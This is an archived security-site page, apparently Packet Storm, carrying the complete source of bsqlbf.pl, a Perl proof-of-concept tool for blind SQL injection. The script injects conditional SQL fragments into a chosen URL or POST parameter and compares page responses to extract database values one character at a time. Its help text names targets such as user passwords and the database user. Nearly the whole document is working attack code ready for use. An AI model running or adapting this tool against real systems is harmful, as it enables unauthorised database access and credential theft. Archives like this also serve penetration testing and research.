Twenty Year Anniversary

bsqlbf.pl.txt

bsqlbf.pl.txt
Posted Feb 14, 2006
Authored by Alejandro Ramos | Site unsec.net

Proof of concept tool to be used for blind SQL injection attacks.

tags | sql injection, proof of concept
systems | unix
MD5 | b35af1cf6570aa23440513c412e1577b

bsqlbf.pl.txt

Change Mirror Download
#!/usr/bin/perl
# Blind SQL Injection POC. aramosf@unsec.net // http://www.unsec.net
# Special thanks to !dSR (www.digitalsec.es)
#
#
# CHANGELOG:
# Sun Dec 11 11:01:34 CET 2005
# + fixed automatch in POSTs
# + better output
# Mon Dec 5 18:30:03 CET 2005
# + added -blind option (to specify which attribute have sql injection).
# Tue Nov 29 17:31:54 CET 2005
# + auto search match string (when they arent -match option)
# Mon Nov 28 16:34:09 CET 2005
# + Support for POST and GET methods (-method get // -method post).
# + Cookies support (-cookie "blah=foo; moo=doo").
# + UserAgent support (-uagent "SQL Blind tool").
# Wed Nov 23 23:44:23 RST 2005
# First version 0.1:
# + code ripped from www.reversing.org <ilo[at]reversing.org> (thanks!)


use LWP::UserAgent;
use Getopt::Long;
use strict;


###############################################################################
my $default_debug = 0;
my $default_length = 32;
my $default_method = "GET";
my $version = "1.0";
my $default_useragent = "bsqlbf $version";
my $default_dict = "dict.txt";
my $default_sql = "version()";
###############################################################################


$| = 1;

my ($args, $abc, $solution);
my ($string, $char, @dic);
my (%vars, @varsb);
my ($lastvar, $lastval);
my ($scheme, $authority, $path, $query, $fragment);
my $hits = 0;
my $usedict = 0;
my $amatch = 0;
my ($ua,$req);

###############################################################################
# Define GetOpt:
my ($url, $test, $sql, $match, $uagent, $charset, $debug);
my ($proxy, $proxy_user, $proxy_pass);
my ($dict, $start, $length, $method, $cookie,$blind);

my $options = GetOptions (
'url=s' => \$url,
'test=i' => \$test,
'sql=s' => \$sql,
'blind=s' => \$blind,
'match=s' => \$match,
'charset=s' => \$charset,
'start=s' => \$start,
'length=s' => \$length,
'dict=s' => \$dict,
'method=s' => \$method,
'uagent=s' => \$uagent,
'cookie=s' => \$cookie,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'debug!' => \$debug );

&help unless ($url);

#########################################################################
# Default Options.
$abc = charset();
$uagent ||= $default_useragent;
$debug ||= $default_debug;
$length ||= $default_length;
$solution ||= $start;
$method ||= $default_method;
$sql ||= $default_sql;

&createlwp();
&parseurl();

if ( ! defined($blind)) {
$lastvar = $varsb[$#varsb];
$lastval = $vars{$lastvar};
} else {
$lastvar = $blind;
$lastval = $vars{$blind};
}

if (defined($cookie)) { &cookie() }

if (!$match) {
print "\nTrying to find a match string...\n" if $debug eq 1;
$amatch = "1";
&auto_match();
}


&banner();
&httpintro();
&bsqlintro();

#########################################################################
# Define CHARSET to use. Dictionary /// (TODO: fix ugly code)

$dict ||= $default_dict;
open DICT,"$dict"; @dic=<DICT>; close DICT;

my $i;
my $nodict = 0;
for ($i=length($start)+1;$i<=$length;$i++) {
my $furl;
my $find = 0;
$abc = charset();
&bsqlintro if $debug eq 1;
print "\r trying: $solution ";
foreach (split/ */,$abc) {
$find = 0;
$char = ord();
$string = " AND MID($sql,$i,1)=CHAR($char)";
if (lc($method) eq "post") {
$vars{$lastvar} = $lastval . $string;
}
print "\x08$_";
$furl = $url;
$furl =~ s/($lastvar=$lastval)/$1$string/;
my $html=fetch("$furl");
$hits++;
foreach (split(/\n/,$html)) {
if (/\Q$match\E/) {
my $asc=chr($char);
$solution .= $asc;
$find = 1;
}
last if $find eq "1";
}
last if $find eq "1";
}
if ($usedict ne 0 && $find eq 0) { $nodict=1; $i--; }
if ($find eq "0" && $usedict eq "0") { last; };
}

&result();

#########################################################################
sub httpintro {
my ($strcookie, $strproxy, $i);
print "--[ http options ]"; print "-"x62; print "\n";
printf ("%12s %-8s %11s %-20s\n","schema:",$scheme,"host:",$authority);
printf ("%12s %-8s %11s %-20s\n","method:",uc($method),"useragent:",$uagent);
printf ("%12s %-50s\n","path:", $path);
foreach (keys %vars) {
$i++;
printf ("%12s %-15s = %-40s\n","arg[$i]:",$_,$vars{$_});
}
if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }
printf ("%12s %-50s\n","cookies:",$strcookie);
if (! $proxy) { $strproxy="(null)" } else { $strproxy = $proxy; }
printf ("%12s %-50s\n","proxy_host:",$strproxy);
if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }
printf ("%12s %-50s\n","proxy_user:",$strproxy);
}

sub bsqlintro {
my ($strstart, $strblind, $strlen, $strmatch, $strsql);
print "\n--[ blind sql injection options ]"; print "-"x47; print "\n";
if (! $start) { $strstart = "(null)"; } else { $strstart = $start; }
if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }
printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart);
if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }
if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }
printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql);
printf ("%12s %-50s\n","charset:",$abc);
if ($amatch eq 1) { $strmatch = "auto match:" } else { $strmatch = "match:"; }
#printf ("%12s %-60s\n","$strmatch",$match);
print " $strmatch $match\n";
print "-"x80; print "\n\n";
}
#########################################################################

sub createlwp {
my $proxyc;
LWP::Debug::level('+') if $debug gt 3;
$ua = new LWP::UserAgent(
cookie_jar=> { file => "$$.cookie" });
$ua->agent("$uagent");
if (defined($proxy_user) && defined($proxy_pass)) {
my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =
$proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
$proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;
} else { $proxyc = $proxy; }

$ua->proxy(['http'] => $proxyc) if $proxy;
}

sub cookie {
# Cookies check
if ($cookie || $cookie =~ /; /) {
foreach my $c (split /;/, $cookie) {
my ($a,$b) = split /=/, $c;
if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }
}
}
}

sub parseurl {
###############################################################################
# Official Regexp to parse URI. Thank you somebody.
($scheme, $authority, $path, $query, $fragment) =
$url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
# Parse args of URI into %vars and @varsb.
foreach my $varval (split /&/, $query) {
my ($var, $val) = split /=/, $varval;
$vars{$var} = $val;
push(@varsb, $var);
}
}

sub charset {
if ($hits ne 0 && $nodict eq 0) {
my (%tmp,@b,$foo); undef %tmp; undef @b; undef $abc;
foreach my $line (@dic) {
chomp $line;
if ($line =~ /\Q$solution\E/ && $line !~ /^#/) {
$foo = $line; $foo =~ s/\Q$solution\E//;
foreach ((split/ */,$foo)) {
if ($tmp{$_} ne "1" ) {
$tmp{$_} = "1"; push (@b,$_);
}
}
}
}
if ($#b >= 0) {
foreach my $c (@b) { $abc .=$c;}
$usedict = $abc;
print "\nUsing a dictionary with this charset: $abc\n" if $debug eq 1;
} else {
$abc = chardefault()
}
} else {
$abc = chardefault()
}
return $abc;
}

sub chardefault {
my $tmp;
$abc = $charset;
if (lc($charset) eq "md5") {
$abc = "abcdef0123456789\$.";
} elsif (lc($charset) eq "num") {
$abc = "0123456789";
} elsif (lc($charset) eq "all" || ! $charset) {
$abc = "abcdefghijklmnopqrstuvwxyz0123456789\$.-_()[]{}º@=/\\|#?¿&·!<>ñÑ";
}
# If a dictionary has been used before, remove chars from current charset
if ($usedict ne 0) {
foreach (split(/ */, $usedict)) {
$abc =~ s/$_//;
}
}
$usedict = 0;
return $abc;
}

sub auto_match {
$match = fmatch("$url");
}


#########################################################################
# Show options at running:
sub banner {
print "\n // Blind SQL injection PoC tool.\n";
print " // code ripped from http://www.reversing.org.\n";
print " // aramosf\@unsec.net / http://www.unsec.net\n";
print " // just another script for digitalsec.es friends!\n\n";
}


#########################################################################
# Get differences in HTML
sub fmatch {
my ($ok,$rtrn);
my ($furla, $furlb) = ($_[0], $_[0]);
my ($html_a, $html_b);
if (lc($method) eq "get") {
$furla =~ s/($lastvar=$lastval)/$1 AND 1=1/;
$furlb =~ s/($lastvar=$lastval)/$1 AND 1=0/;
$html_a = fetch("$furla");
$html_b = fetch("$furlb");
} elsif (lc($method) eq "post") {
$vars{$lastvar} = $lastval . " AND 1=1";
$html_a = fetch("$furla");
$vars{$lastvar} = $lastval . " AND 1=0";
$html_b = fetch("$furla");
$vars{$lastvar} = $lastval;
}
my @h_a = split(/\n/,$html_a);
my @h_b = split(/\n/,$html_b);
foreach my $a (@h_a) {
$ok = 0;
if ($a =~ /\w/) {
foreach (@h_b) {
if ($a eq $_) {$ok = 1; }
}
} else { $ok = 1; }
$rtrn = $a;
last if $ok ne 1;
}
return $rtrn;
}


#########################################################################
# Fetch HTML from WWW
sub fetch {
my $res;
if (lc($method) eq "get") {
my $fetch = $_[0];
if ($cookie) {
$res = $ua->get("$fetch", Cookie => "$cookie");
} elsif (!$cookie) {
$res = $ua->get("$fetch");
}
} elsif (lc($method) eq "post") {
my($s, $a, $p, $q, $f) =
$url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
my $fetch = "$s://$a".$p;
if ($cookie) {
$res = $ua->post("$fetch",\%vars, Cookie => "$cookie");
} elsif (!$cookie) {
$res = $ua->post("$fetch",\%vars);
}
} else {
die "Wrong httpd method. Use -h for help\n";
}
my $html = $res->content();
return $html;
}

sub result {
print "\r results: \n" .
" $sql = $solution\n" if length($solution) gt 0 and $debug eq 0;
print "\n results: \n" .
" $sql = $solution\n" if length($solution) gt 0 and $debug eq 1;
print " total hits: $hits\n";
}


sub help {
&banner();
print " usage: $0 <-url http://www.host.com/path/script.php?foo=bar> [options]\n";
print "\n options:\n";
print " -sql:\t\tvalid SQL syntax to get; connection_id(), database(),\n";
print "\t\tsystem_user(), session_user(), current_user(), last_insert_id(),\n";
print "\t\tuser() or all data available in the requested query, for\n";
print "\t\texample: user.password. Default: version()\n";
print " -blind:\tparameter to inject sql. Default is last value of url\n";
print " -match:\tstring to match in valid query, Default is try to get auto\n";
print " -charset:\tcharset to use. Default is all. Others charsets supported:\n";
print " \tall:\tabcdefghijklmnopqrstuvwxyz0123456789\$.-_()[]{}º@=/\\|#?¿&·!<>ñÑ\n";
print " \tnum:\t0123456789\n";
print " \tmd5:\tabcdef0123456789\$\n";
print " \tcustom:\tyour custom charset, for example: \"abc0123\"\n";
print " -start:\tif you know the beginning of the string, use it.\n";
print " -length:\tmaximum length of value. Default is $default_length.\n";
print " -dict:\t\tuse dictionary for improve speed. Default is dict.txt\n";
print " -method:\thttp method to use; get or post. Default is $default_method.\n";
print " -uagent:\thttp UserAgent header to use. Default is $default_useragent\n";
print " -cookie:\thttp cookie header to use\n";
print " -proxy:\tuse proxy http. Syntax: -proxy=http://proxy:port/\n";
print " -proxy_user:\tproxy http user\n";
print " -proxy_pass:\tproxy http password\n";
print "\n example:\n bash# $0 -u http://www.somehost.com/blah.php?u=5 -blind u -sql \"user()\"\n";
exit(1);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    9 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    34 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close